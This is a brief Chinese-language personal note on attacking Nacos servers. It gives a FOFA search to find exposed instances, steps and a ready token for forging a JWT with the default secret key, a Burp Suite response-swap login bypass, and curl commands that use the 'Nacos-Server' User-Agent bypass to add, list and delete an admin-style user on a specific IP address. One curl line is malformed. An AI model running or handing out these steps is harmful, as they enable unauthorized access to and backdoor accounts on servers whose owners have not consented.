记一次Nacos漏洞笔记

FOFA语法
title==“Nacos”

JWT网址：https://jwt.io/
时间戳网址：https://tool.lu/timestamp/

工具检测历史漏洞

• 弱口令进入
  
• 默认配置

1、 DATA填写如下信息【默认填写】
{
“sub”: “nacos”,
“exp”: 1718861212【时间戳最好修改为明天的】
}
2、VERIFY SIGNATURE打勾并填写如下信息【默认填写】
SecretKey0123456789012345678901234567890123456789012345678901234567893
3、最后的结果eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcxODg2MTIxMn0.oxfnJa1uHJqcA3bjp0kv4uMZTgQUAynK2pb2kPrYNq0

3、BP发包修改请求体

回到抓包页面==> 右键有个拦截 >拦截该请求>把上面的响应包复制到拦截的响应包里面。回到页面即可跳转

• 未授权绕过

/v1/auth/users?pageNo=1&pageSize=10

添加用户

1、url：/v1/auth/users
body：username=shangxin&password=shangxin
User-Agent:Nacos-Server

2、kali： curl -X POST ‘http://101.42.21.9/v1/auth/usersusername=shangxin&password=shangxin’
-H ‘User-Agent: Nacos-Server’

删除用户

curl -X DELETE “http://101.42.21.9/v1/auth/users?username=shangxin”

查看用户是否添加成功:

1、/v1/auth/search?username=shangxin

2、curl ‘http://101.42.21.9/v1/auth/search?username=shangxin’